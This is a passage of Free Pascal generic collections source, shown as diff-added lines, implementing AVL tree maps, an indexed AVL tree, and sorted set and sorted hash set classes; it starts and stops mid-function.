@FCurrent.Data.Value; +end; + +{ TCustomAVLTreeMap<TREE_CONSTRAINTS> } + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.NodeAdded(ANode: PNode); +begin +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.DeletingNode(ANode: PNode; AOrigin: boolean); +begin +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.DoRemove(ANode: PNode; + ACollectionNotification: TCollectionNotification; ADispose: boolean): TValue; +begin + if ANode=nil then + raise EArgumentNilException.CreateRes(@SArgumentNilNode); + + if (ANode.Left = nil) or (ANode.Right = nil) then + DeletingNode(ANode, true); + + InternalDelete(ANode); + + Dec(FCount); + NodeNotify(ANode, ACollectionNotification, ADispose); + + if ADispose then + Dispose(ANode); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.DisposeAllNodes(ANode: PNode); +begin + if ANode.Left<>nil then + DisposeAllNodes(ANode.Left); + if ANode.Right<>nil then + DisposeAllNodes(ANode.Right); + + NodeNotify(ANode, cnRemoved, true); + Dispose(ANode); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.Compare(constref ALeft, ARight: TKey): Integer; inline; +begin + Result := FComparer.Compare(ALeft, ARight); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.FindPredecessor(ANode: PNode): PNode; +begin + if ANode <> nil then + begin + if ANode.Left <> nil then + begin + ANode := ANode.Left; + while ANode.Right <> nil do ANode := ANode.Right; + end + else + repeat + Result := ANode; + ANode := ANode.Parent; + until (ANode = nil) or (ANode.Right = Result); + end; + Result := ANode; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.FindInsertNode(ANode: PNode; out AInsertNode: PNode): Integer; +begin + AInsertNode := FRoot; + if AInsertNode = nil then // first item in tree + Exit(0); + + repeat + Result := Compare(ANode.Key,AInsertNode.Key); + if Result < 0 then + begin + Result:=-1; + if AInsertNode.Left = nil then + Exit; + AInsertNode := AInsertNode.Left; + end + else + begin + if Result > 0 then + Result:=1; + if AInsertNode.Right = nil then + Exit; + AInsertNode := AInsertNode.Right; + if Result = 0 then + Break; + end; + until false; + + // for equal items (when item already exist) we need to keep 0 result + while true do + if Compare(ANode.Key,AInsertNode.Key) < 0 then + begin + if AInsertNode.Left = nil then + Exit; + AInsertNode := AInsertNode.Left; + end + else + begin + if AInsertNode.Right = nil then + Exit; + AInsertNode := AInsertNode.Right; + end; +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.RotateRightRight(ANode: PNode); +var + LNode, LParent: PNode; +begin + LNode := ANode.Right; + LParent := ANode.Parent; + + ANode.Right := LNode.Left; + if ANode.Right <> nil then + ANode.Right.Parent := ANode; + + LNode.Left := ANode; + LNode.Parent := LParent; + ANode.Parent := LNode; + + if LParent <> nil then + begin + if LParent.Left = ANode then + LParent.Left := LNode + else + LParent.Right := LNode; + end + else + FRoot := LNode; + + if LNode.Balance = -1 then + begin + ANode.Balance := 0; + LNode.Balance := 0; + end + else + begin + ANode.Balance := -1; + LNode.Balance := 1; + end +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.RotateLeftLeft(ANode: PNode); +var + LNode, LParent: PNode; +begin + LNode := ANode.Left; + LParent := ANode.Parent; + + ANode.Left := LNode.Right; + if ANode.Left <> nil then + ANode.Left.Parent := ANode; + + LNode.Right := ANode; + LNode.Parent := LParent; + ANode.Parent := LNode; + + if LParent <> nil then + begin + if LParent.Left = ANode then + LParent.Left := LNode + else + LParent.Right := LNode; + end + else + FRoot := LNode; + + if LNode.Balance = 1 then + begin + ANode.Balance := 0; + LNode.Balance := 0; + end + else + begin + ANode.Balance := 1; + LNode.Balance := -1; + end +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.RotateRightLeft(ANode: PNode); +var + LRight, LLeft, LParent: PNode; +begin + LRight := ANode.Right; + LLeft := LRight.Left; + LParent := ANode.Parent; + + LRight.Left := LLeft.Right; + if LRight.Left <> nil then + LRight.Left.Parent := LRight; + + ANode.Right := LLeft.Left; + if ANode.Right <> nil then + ANode.Right.Parent := ANode; + + LLeft.Left := ANode; + LLeft.Right := LRight; + ANode.Parent := LLeft; + LRight.Parent := LLeft; + + LLeft.Parent := LParent; + + if LParent <> nil then + begin + if LParent.Left = ANode then + LParent.Left := LLeft + else + LParent.Right := LLeft; + end + else + FRoot := LLeft; + + if LLeft.Balance = -1 then + ANode.Balance := 1 + else + ANode.Balance := 0; + + if LLeft.Balance = 1 then + LRight.Balance := -1 + else + LRight.Balance := 0; + + LLeft.Balance := 0; +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.RotateLeftRight(ANode: PNode); +var + LLeft, LRight, LParent: PNode; +begin + LLeft := ANode.Left; + LRight := LLeft.Right; + LParent := ANode.Parent; + + LLeft.Right := LRight.Left; + if LLeft.Right <> nil then + LLeft.Right.Parent := LLeft; + + ANode.Left := LRight.Right; + if ANode.Left <> nil then + ANode.Left.Parent := ANode; + + LRight.Right := ANode; + LRight.Left := LLeft; + ANode.Parent := LRight; + LLeft.Parent := LRight; + + LRight.Parent := LParent; + + if LParent <> nil then + begin + if LParent.Left = ANode then + LParent.Left := LRight + else + LParent.Right := LRight; + end + else + FRoot := LRight; + + if LRight.Balance = 1 then + ANode.Balance := -1 + else + ANode.Balance := 0; + if LRight.Balance = -1 then + LLeft.Balance := 1 + else + LLeft.Balance := 0; + + LRight.Balance := 0; +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.KeyNotify(constref AKey: TKey; ACollectionNotification: TCollectionNotification); +begin + if Assigned(FOnKeyNotify) then + FOnKeyNotify(Self, AKey, ACollectionNotification); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.ValueNotify(constref AValue: TValue; ACollectionNotification: TCollectionNotification); +begin + if Assigned(FOnValueNotify) then + FOnValueNotify(Self, AValue, ACollectionNotification); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.NodeNotify(ANode: PNode; ACollectionNotification: TCollectionNotification; ADispose: boolean); +begin + if Assigned(FOnValueNotify) then + FOnNodeNotify(Self, ANode, ACollectionNotification, ADispose); + KeyNotify(ANode.Key, ACollectionNotification); + ValueNotify(ANode.Value, ACollectionNotification); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.SetValue(var AValue: TValue; constref ANewValue: TValue); +var + LOldValue: TValue; +begin + LOldValue := AValue; + AValue := ANewValue; + + ValueNotify(LOldValue, cnRemoved); + ValueNotify(ANewValue, cnAdded); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.WriteStr(AStream: TStream; const AText: string); +begin + if AText='' then exit; + AStream.Write(AText[1],Length(AText)); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.GetNodeCollection: TNodeCollection; +begin + if not Assigned(FNodes) then + FNodes := TNodeCollection.Create(TTree(Self)); + Result := FNodes; +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.InternalAdd(ANode, AParent: PNode); +begin + Inc(FCount); + + ANode.Parent := AParent; + NodeAdded(ANode); + + if AParent=nil then + begin + FRoot := ANode; + Exit; + end; + + // balance after insert + + if AParent.Balance<>0 then + AParent.Balance := 0 + else + begin + if AParent.Left = ANode then + AParent.Balance := 1 + else + AParent.Balance := -1; + + ANode := AParent.Parent; + + while ANode <> nil do + begin + if ANode.Balance<>0 then + begin + if ANode.Balance = 1 then + begin + if ANode.Right = AParent then + ANode.Balance := 0 + else if AParent.Balance = -1 then + RotateLeftRight(ANode) + else + RotateLeftLeft(ANode); + end + else + begin + if ANode.Left = AParent then + ANode.Balance := 0 + else if AParent^.Balance = 1 then + RotateRightLeft(ANode) + else + RotateRightRight(ANode); + end; + Break; + end; + + if ANode.Left = AParent then + ANode.Balance := 1 + else + ANode.Balance := -1; + + AParent := ANode; + ANode := ANode.Parent; + end; + end; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.InternalAdd(ANode: PNode; ADispisable: boolean): PNode; +var + LParent: PNode; +begin + Result := ANode; + case FindInsertNode(ANode, LParent) of + -1: LParent.Left := ANode; + 0: + if Assigned(LParent) then + case FDuplicates of + dupAccept: LParent.Right := ANode; + dupIgnore: + begin + LParent.Right := nil; + if ADispisable then + Dispose(ANode); + Exit(LParent); + end; + dupError: + begin + LParent.Right := nil; + if ADispisable then + Dispose(ANode); + Result := nil; + raise EListError.Create(SCollectionDuplicate); + end; + end; + 1: LParent.Right := ANode; + end; + + InternalAdd(ANode, LParent); + NodeNotify(ANode, cnAdded, false); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.InternalDelete(ANode: PNode); +var + t, y, z: PNode; + LNest: boolean; +begin + if (ANode.Left <> nil) and (ANode.Right <> nil) then + begin + y := FindPredecessor(ANode); + y.Info := ANode.Info; + DeletingNode(y, false); + InternalDelete(y); + LNest := false; + end + else + begin + if ANode.Left <> nil then + begin + y := ANode.Left; + ANode.Left := nil; + end + else + begin + y := ANode.Right; + ANode.Right := nil; + end; + ANode.Balance := 0; + LNest := true; + end; + + if y <> nil then + begin + y.Parent := ANode.Parent; + y.Left := ANode.Left; + if y.Left <> nil then + y.Left.Parent := y; + y.Right := ANode.Right; + if y.Right <> nil then + y.Right.Parent := y; + y.Balance := ANode.Balance; + end; + + if ANode.Parent <> nil then + begin + if ANode.Parent.Left = ANode then + ANode.Parent.Left := y + else + ANode.Parent.Right := y; + end + else + FRoot := y; + + if LNest then + begin + z := y; + y := ANode.Parent; + while y <> nil do + begin + if y.Balance = 0 then + begin + if y.Left = z then + y.Balance := -1 + else + y.Balance := 1; + break; + end + else + begin + if ((y.Balance = 1) and (y.Left = z)) or ((y.Balance = -1) and (y.Right = z)) then + begin + y.Balance := 0; + z := y; + y := y.Parent; + end + else + begin + if y.Left = z then + t := y.Right + else + t := y.Left; + if t.Balance = 0 then + begin + if y.Balance = 1 then + RotateLeftLeft(y) + else + RotateRightRight(y); + break; + end + else if y.Balance = t.Balance then + begin + if y.Balance = 1 then + RotateLeftLeft(y) + else + RotateRightRight(y); + z := t; + y := t.Parent; + end + else + begin + if y.Balance = 1 then + RotateLeftRight(y) + else + RotateRightLeft(y); + z := y.Parent; + y := z.Parent; + end + end + end + end + end; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.GetKeys: TKeyCollection; +begin + if not Assigned(FKeys) then + FKeys := TKeyCollection.Create(TTree(Self)); + Result := TKeyCollection(FKeys); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.GetValues: TValueCollection; +begin + if not Assigned(FValues) then + FValues := TValueCollection.Create(TTree(Self)); + Result := TValueCollection(FValues); +end; + +constructor TCustomAVLTreeMap<TREE_CONSTRAINTS>.Create; +begin + FComparer := TComparer<TKey>.Default; +end; + +constructor TCustomAVLTreeMap<TREE_CONSTRAINTS>.Create(const AComparer: IComparer<TKey>); +begin + FComparer := AComparer; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.NewNode: PNode; +begin + Result := AllocMem(SizeOf(TNode)); + Initialize(Result^); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.NewNodeArray(ACount: SizeInt): PNode; +begin + Result := AllocMem(ACount * SizeOf(TNode)); + Initialize(Result^, ACount); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.NewNodeArray(out AArray: TArray<PNode>; ACount: SizeInt); +var + i: Integer; +begin + SetLength(AArray, ACount); + for i := 0 to ACount-1 do + AArray[i] := NewNode; +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.DisposeNode(ANode: PNode); +begin + Dispose(ANode); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.DisposeNodeArray(ANode: PNode; ACount: SizeInt); +begin + Finalize(ANode^, ACount); + FreeMem(ANode); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.DisposeNodeArray(var AArray: TArray<PNode>); +var + i: Integer; +begin + for i := 0 to High(AArray) do + Dispose(AArray[i]); + AArray := nil; +end; + +destructor TCustomAVLTreeMap<TREE_CONSTRAINTS>.Destroy; +begin + FKeys.Free; + FValues.Free; + FNodes.Free; + Clear; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.AddNode(ANode: PNode): boolean; +begin + Result := ANode=InternalAdd(ANode, false); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.Add(constref APair: TTreePair): PNode; +begin + Result := NewNode; + Result.Data.Key := APair.Key; + Result.Data.Value := APair.Value; + Result := InternalAdd(Result, true); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.Add(constref AKey: TKey; constref AValue: TValue): PNode; +begin + Result := NewNode; + Result.Data.Key := AKey; + Result.Data.Value := AValue; + Result := InternalAdd(Result, true); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.Remove(constref AKey: TKey; ADisposeNode: boolean): boolean; +var + LNode: PNode; +begin + LNode:=Find(AKey); + if LNode<>nil then begin + Delete(LNode, ADisposeNode); + Result:=true; + end else + Result:=false; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ExtractPair(constref AKey: TKey; ADisposeNode: boolean): TTreePair; +var + LNode: PNode; +begin + LNode:=Find(AKey); + if LNode<>nil then + begin + Result.Key := AKey; + Result.Value := DoRemove(LNode, cnExtracted, ADisposeNode); + end else + Result := Default(TTreePair); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ExtractPair(constref ANode: PNode; ADispose: boolean = true): TTreePair; +begin + Result.Key := ANode.Key; + Result.Value := DoRemove(ANode, cnExtracted, ADispose); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ExtractNode(constref AKey: TKey; ADisposeNode: boolean): PNode; +begin + Result:=Find(AKey); + if Result<>nil then + begin + DoRemove(Result, cnExtracted, false); + if ADisposeNode then + Result := nil; + end; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ExtractNode(ANode: PNode; ADispose: boolean): PNode; +begin + DoRemove(ANode, cnExtracted, ADispose); + if ADispose then + Result := nil + else + Result := ANode; +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.Delete(ANode: PNode; ADispose: boolean); +begin + DoRemove(ANode, cnRemoved, ADispose); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.Clear(ADisposeNodes: Boolean); +begin + if (FRoot<>nil) and ADisposeNodes then + DisposeAllNodes(FRoot); + fRoot:=nil; + FCount:=0; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.GetEnumerator: TPairEnumerator; +begin + Result := TPairEnumerator.Create(Self, true); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.FindLowest: PNode; +begin + Result:=FRoot; + if Result<>nil then + while Result.Left<>nil do Result:=Result.Left; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.FindHighest: PNode; +begin + Result:=FRoot; + if Result<>nil then + while Result.Right<>nil do Result:=Result.Right; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.Find(constref AKey: TKey): PNode; +var + LComp: SizeInt; +begin + Result:=FRoot; + while (Result<>nil) do + begin + LComp:=Compare(AKey,Result.Key); + if LComp=0 then + Exit; + if LComp<0 then + Result:=Result.Left + else + Result:=Result.Right + end; +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ContainsKey(constref AKey: TKey; out ANode: PNode): boolean; +begin + ANode := Find(AKey); + Result := Assigned(ANode); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ContainsKey(constref AKey: TKey): boolean; overload; inline; +begin + Result := Assigned(Find(AKey)); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.ConsistencyCheck; +var + RealCount: SizeInt; +begin + RealCount:=0; + if FRoot<>nil then begin + FRoot.ConsistencyCheck(Self); + RealCount:=FRoot.GetCount; + end; + if Count<>RealCount then + raise EAVLTree.Create('Count<>RealCount'); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.WriteTreeNode(AStream: TStream; ANode: PNode); +var + b: String; + IsLeft: boolean; + LParent: PNode; + WasLeft: Boolean; +begin + if ANode=nil then exit; + WriteTreeNode(AStream, ANode.Right); + LParent:=ANode; + WasLeft:=false; + b:=''; + while LParent<>nil do begin + if LParent.Parent=nil then begin + if LParent=ANode then + b:='--'+b + else + b:=' '+b; + break; + end; + IsLeft:=LParent.Parent.Left=LParent; + if LParent=ANode then begin + if IsLeft then + b:='\-' + else + b:='/-'; + end else begin + if WasLeft=IsLeft then + b:=' '+b + else + b:='| '+b; + end; + WasLeft:=IsLeft; + LParent:=LParent.Parent; + end; + b:=b+NodeToReportStr(ANode)+LineEnding; + WriteStr(AStream, b); + WriteTreeNode(AStream, ANode.Left); +end; + +procedure TCustomAVLTreeMap<TREE_CONSTRAINTS>.WriteReportToStream(AStream: TStream); +begin + WriteStr(AStream, '-Start-of-AVL-Tree-------------------'+LineEnding); + WriteTreeNode(AStream, fRoot); + WriteStr(AStream, '-End-Of-AVL-Tree---------------------'+LineEnding); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.NodeToReportStr(ANode: PNode): string; +begin + Result:=Format(' Self=%p Parent=%p Balance=%d', [ANode, ANode.Parent, ANode.Balance]); +end; + +function TCustomAVLTreeMap<TREE_CONSTRAINTS>.ReportAsString: string; +var ms: TMemoryStream; +begin + Result:=''; + ms:=TMemoryStream.Create; + try + WriteReportToStream(ms); + ms.Position:=0; + SetLength(Result,ms.Size); + if Result<>'' then + ms.Read(Result[1],length(Result)); + finally + ms.Free; + end; +end; + +{ TIndexedAVLTreeMap<TKey, TValue> } + +procedure TIndexedAVLTreeMap<TKey, TValue>.RotateRightRight(ANode: PNode); +var + LOldRight: PNode; +begin + LOldRight:=ANode.Right; + inherited; + Inc(LOldRight.Data.Info, (1 + ANode.Data.Info)); +end; + +procedure TIndexedAVLTreeMap<TKey, TValue>.RotateLeftLeft(ANode: PNode); +var + LOldLeft: PNode; +begin + LOldLeft:=ANode.Left; + inherited; + Dec(ANode.Data.Info, (1 + LOldLeft.Data.Info)); +end; + +procedure TIndexedAVLTreeMap<TKey, TValue>.RotateRightLeft(ANode: PNode); +var + LB, LC: PNode; +begin + LB := ANode.Right; + LC := LB.Left; + inherited; + Dec(LB.Data.Info, 1+LC.Info); + Inc(LC.Data.Info, 1+ANode.Info); +end; + +procedure TIndexedAVLTreeMap<TKey, TValue>.RotateLeftRight(ANode: PNode); +var + LB, LC: PNode; +begin + LB := ANode.Left; + LC := LB.Right; + inherited; + Inc(LC.Data.Info, 1+LB.Info); + Dec(ANode.Data.Info, 1+LC.Info); +end; + + +procedure TIndexedAVLTreeMap<TKey, TValue>.NodeAdded(ANode: PNode); +var + LParent, LNode: PNode; +begin + FLastNode := nil; + LNode := ANode; + repeat + LParent:=LNode.Parent; + if (LParent=nil) then break; + if LParent.Left=LNode then + Inc(LParent.Data.Info); + LNode:=LParent; + until false; +end; + +procedure TIndexedAVLTreeMap<TKey, TValue>.DeletingNode(ANode: PNode; AOrigin: boolean); +var + LParent: PNode; +begin + if not AOrigin then + Dec(ANode.Data.Info); + FLastNode := nil; + repeat + LParent:=ANode.Parent; + if (LParent=nil) then exit; + if LParent.Left=ANode then + Dec(LParent.Data.Info); + ANode:=LParent; + until false; +end; + +function TIndexedAVLTreeMap<TKey, TValue>.GetNodeAtIndex(AIndex: SizeInt): PNode; +begin + if (AIndex<0) or (AIndex>=Count) then + raise EIndexedAVLTree.CreateFmt('TIndexedAVLTree: AIndex %d out of bounds 0..%d', [AIndex, Count]); + + if FLastNode<>nil then begin + if AIndex=FLastIndex then + Exit(FLastNode) + else if AIndex=FLastIndex+1 then begin + FLastIndex:=AIndex; + FLastNode:=FLastNode.Successor; + Exit(FLastNode); + end else if AIndex=FLastIndex-1 then begin + FLastIndex:=AIndex; + FLastNode:=FLastNode.Precessor; + Exit(FLastNode); + end; + end; + + FLastIndex:=AIndex; + Result:=FRoot; + repeat + if Result.Info>AIndex then + Result:=Result.Left + else if Result.Info=AIndex then begin + FLastNode:=Result; + Exit; + end + else begin + Dec(AIndex, Result.Info+1); + Result:=Result.Right; + end; + until false; +end; + +function TIndexedAVLTreeMap<TKey, TValue>.NodeToIndex(ANode: PNode): SizeInt; +var + LNode: PNode; + LParent: PNode; +begin + if ANode=nil then + Exit(-1); + + if FLastNode=ANode then + Exit(FLastIndex); + + LNode:=ANode; + Result:=LNode.Info; + repeat + LParent:=LNode.Parent; + if LParent=nil then break; + if LParent.Right=LNode then + inc(Result,LParent.Info+1); + LNode:=LParent; + until false; + + FLastNode:=ANode; + FLastIndex:=Result; +end; + +procedure TIndexedAVLTreeMap<TKey, TValue>.ConsistencyCheck; +var + LNode: PNode; + i: SizeInt; + LeftCount: SizeInt = 0; +begin + inherited ConsistencyCheck; + i:=0; + for LNode in Self.Nodes do + begin + if LNode.Left<>nil then + LeftCount:=LNode.Left.GetCount + else + LeftCount:=0; + + if LNode.Info<>LeftCount then + raise EIndexedAVLTree.CreateFmt('LNode.LeftCount=%d<>%d',[LNode.Info,LeftCount]); + + if GetNodeAtIndex(i)<>LNode then + raise EIndexedAVLTree.CreateFmt('GetNodeAtIndex(%d)<>%P',[i,LNode]); + FLastNode:=nil; + if GetNodeAtIndex(i)<>LNode then + raise EIndexedAVLTree.CreateFmt('GetNodeAtIndex(%d)<>%P',[i,LNode]); + + if NodeToIndex(LNode)<>i then + raise EIndexedAVLTree.CreateFmt('NodeToIndex(%P)<>%d',[LNode,i]); + FLastNode:=nil; + if NodeToIndex(LNode)<>i then + raise EIndexedAVLTree.CreateFmt('NodeToIndex(%P)<>%d',[LNode,i]); + + inc(i); + end; +end; + +function TIndexedAVLTreeMap<TKey, TValue>.NodeToReportStr(ANode: PNode): string; +begin + Result:=Format(' Self=%p Parent=%p Balance=%d Idx=%d Info=%d', + [ANode,ANode.Parent, ANode.Balance, NodeToIndex(ANode), ANode.Info]); +end; + +{ TAVLTree<T> } + +function TAVLTree<T>.Add(constref AValue: T): PNode; +begin + Result := inherited Add(AValue, EmptyRecord); +end; + +function TAVLTree<T>.AddNode(ANode: PNode): boolean; +begin + Result := inherited AddNode(ANode); +end; + +{ TIndexedAVLTree<T> } + +function TIndexedAVLTree<T>.Add(constref AValue: T): PNode; +begin + Result := inherited Add(AValue, EmptyRecord); +end; + +function TIndexedAVLTree<T>.AddNode(ANode: PNode): boolean; +begin + Result := inherited AddNode(ANode); +end; + +{ TSortedSet<T>.TSortedSetEnumerator } + +function TSortedSet<T>.TSortedSetEnumerator.GetCurrent: T; +begin + Result := TTreeEnumerator(FEnumerator).GetCurrent; +end; + +constructor TSortedSet<T>.TSortedSetEnumerator.Create(ASet: TCustomSet<T>); +begin + TTreeEnumerator(FEnumerator) := TSortedSet<T>(ASet).FInternalTree.Keys.DoGetEnumerator; +end; + +{ TSortedSet<T>.TPointersEnumerator } + +function TSortedSet<T>.TPointersEnumerator.DoMoveNext: boolean; +begin + Result := FEnumerator.MoveNext; +end; + +function TSortedSet<T>.TPointersEnumerator.DoGetCurrent: PT; +begin + Result := FEnumerator.Current; +end; + +constructor TSortedSet<T>.TPointersEnumerator.Create(ASortedSet: TSortedSet<T>); +begin + FEnumerator := ASortedSet.FInternalTree.Keys.Ptr^.GetEnumerator; +end; + +{ TSortedSet<T> } + +procedure TSortedSet<T>.InternalAVLTreeNotify(ASender: TObject; constref AItem: T; AAction: TCollectionNotification); +begin + FOnNotify(Self, AItem, AAction); +end; + +function TSortedSet<T>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TPointersEnumerator.Create(Self); +end; + +function TSortedSet<T>.GetCount: SizeInt; +begin + Result := FInternalTree.Count; +end; + +function TSortedSet<T>.GetCapacity: SizeInt; +begin + Result := FInternalTree.Count; +end; + +procedure TSortedSet<T>.SetCapacity(AValue: SizeInt); +begin +end; + +function TSortedSet<T>.GetOnNotify: TCollectionNotifyEvent<T>; +begin + Result := FInternalTree.OnKeyNotify; +end; + +procedure TSortedSet<T>.SetOnNotify(AValue: TCollectionNotifyEvent<T>); +begin + FOnNotify := AValue; + if Assigned(AValue) then + FInternalTree.OnKeyNotify := InternalAVLTreeNotify + else + FInternalTree.OnKeyNotify := nil; +end; + +function TSortedSet<T>.GetEnumerator: TCustomSetEnumerator; +begin + Result := TSortedSetEnumerator.Create(Self); +end; + +constructor TSortedSet<T>.Create; +begin + FInternalTree := TAVLTree<T>.Create; +end; + +constructor TSortedSet<T>.Create(const AComparer: IComparer<T>); +begin + FInternalTree := TAVLTree<T>.Create(AComparer); +end; + +destructor TSortedSet<T>.Destroy; +begin + FInternalTree.Free; +end; + +function TSortedSet<T>.Add(constref AValue: T): Boolean; +var + LNodePtr, LParent: TAVLTree<T>.PNode; + LNode: TAVLTree<T>.TNode; + LCompare: Integer; +begin + LNode.Data.Key := AValue; + + LCompare := FInternalTree.FindInsertNode(@LNode, LParent); + + Result := not((LCompare=0) and Assigned(LParent)); + if not Result then + Exit; + + LNodePtr := FInternalTree.NewNode; + LNodePtr^.Data.Key := AValue; + + case LCompare of + -1: LParent.Left := LNodePtr; + 1: LParent.Right := LNodePtr; + end; + + FInternalTree.InternalAdd(LNodePtr, LParent); + FInternalTree.NodeNotify(LNodePtr, cnAdded, false); +end; + +function TSortedSet<T>.Remove(constref AValue: T): Boolean; +var + LNode: TAVLTree<T>.PNode; +begin + LNode := FInternalTree.Find(AValue); + Result := Assigned(LNode); + if Result then + FInternalTree.Delete(LNode); +end; + +function TSortedSet<T>.Extract(constref AValue: T): T; +var + LNode: TAVLTree<T>.PNode; +begin + LNode := FInternalTree.Find(AValue); + if not Assigned(LNode) then + Exit(Default(T)); + + Result := FInternalTree.ExtractPair(LNode).Key; +end; + +procedure TSortedSet<T>.Clear; +begin + FInternalTree.Clear; +end; + +function TSortedSet<T>.Contains(constref AValue: T): Boolean; +begin + Result := FInternalTree.ContainsKey(AValue); +end; + +procedure TSortedSet<T>.TrimExcess; +begin +end; + +{ TSortedHashSet<T>.TSortedHashSetEqualityComparer } + +function TSortedHashSet<T>.TSortedHashSetEqualityComparer.Equals(constref ALeft, ARight: PT): Boolean; +begin + if Assigned(FComparer) then + Result := FComparer.Compare(ALeft^, ARight^) = 0 + else + Result := FEqualityComparer.Equals(ALeft^, ARight^); +end; + +function TSortedHashSet<T>.TSortedHashSetEqualityComparer.GetHashCode(constref AValue: PT): UInt32; +begin + Result := FEqualityComparer.GetHashCode(AValue^); +end; + +constructor TSortedHashSet<T>.TSortedHashSetEqualityComparer.Create(const AComparer: IComparer<T>); +begin + FComparer := AComparer; + FEqualityComparer := TEqualityComparer<T>.Default; +end; + +constructor TSortedHashSet<T>.TSortedHashSetEqualityComparer.Create(const AEqualityComparer: IEqualityComparer<T>); +begin + FEqualityComparer := AEqualityComparer; +end; + +constructor TSortedHashSet<T>.TSortedHashSetEqualityComparer.Create(const AComparer: IComparer<T>; const AEqualityComparer: IEqualityComparer<T>); +begin + FComparer := AComparer; + FEqualityComparer := AEqualityComparer; +end; + +{ TSortedHashSet<T>.TSortedHashSetEnumerator } + +function TSortedHashSet<T>.TSortedHashSetEnumerator.GetCurrent: T; +begin + Result := TTreeEnumerator(FEnumerator).Current; +end; + +constructor TSortedHashSet<T>.TSortedHashSetEnumerator.Create(ASet: TCustomSet<T>); +begin + FEnumerator := TSortedHashSet<T>(ASet).FInternalTree.Keys.GetEnumerator; +end; + +{ TSortedHashSet<T>.TPointersEnumerator } + +function TSortedHashSet<T>.TPointersEnumerator.DoMoveNext: boolean; +begin + Result := FEnumerator.MoveNext; +end; + +function TSortedHashSet<T>.TPointersEnumerator.DoGetCurrent: PT; +begin + Result := FEnumerator.Current; +end; + +constructor TSortedHashSet<T>.TPointersEnumerator.Create(ASortedHashSet: TSortedHashSet<T>); +begin + FEnumerator := ASortedHashSet.FInternalTree.Keys.Ptr^.GetEnumerator; +end; + +{ TSortedHashSet<T> } + +procedure TSortedHashSet<T>.InternalDictionaryNotify(ASender: TObject; constref AItem: PT; AAction: TCollectionNotification); +begin + FOnNotify(Self, AItem^, AAction); +end; + +function TSortedHashSet<T>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TPointersEnumerator.Create(Self); +end; + +function TSortedHashSet<T>.DoGetEnumerator: TEnumerator<T>; +begin + Result := GetEnumerator; +end; + +function TSortedHashSet<T>.GetCount: SizeInt; +begin + Result := FInternalDictionary.Count; +end; + +function TSortedHashSet<T>.GetCapacity: SizeInt; +begin + Result := FInternalDictionary.Capacity; +end; + +procedure TSortedHashSet<T>.SetCapacity(AValue: SizeInt); +begin + FInternalDictionary.Capacity := AValue; +end; + +function TSortedHashSet<T>.GetOnNotify: TCollectionNotifyEvent<T>; +begin + Result := FInternalTree.OnKeyNotify; +end; + +procedure TSortedHashSet<T>.SetOnNotify(AValue: TCollectionNotifyEvent<T>); +begin + FOnNotify := AValue; + if Assigned(AValue) then + FInternalDictionary.OnKeyNotify := InternalDictionaryNotify + else + FInternalDictionary.OnKeyNotify := nil; +end; + +function TSortedHashSet<T>.GetEnumerator: TCustomSetEnumerator; +begin + Result := TSortedHashSetEnumerator.Create(Self); +end; + +function TSortedHashSet<T>.Add(constref AValue: T): Boolean; +var + LNode: TAVLTree<T>.PNode; +begin + Result := not FInternalDictionary.ContainsKey(@AValue); + if Result then + begin + LNode := FInternalTree.Add(AValue); + FInternalDictionary.Add(@LNode.Data.Key, EmptyRecord); + end; +end; + +function TSortedHashSet<T>.Remove(constref AValue: T): Boolean; +var + LIndex: SizeInt; +begin + LIndex := FInternalDictionary.FindBucketIndex(@AValue); + Result := LIndex >= 0; + if Result then + begin + 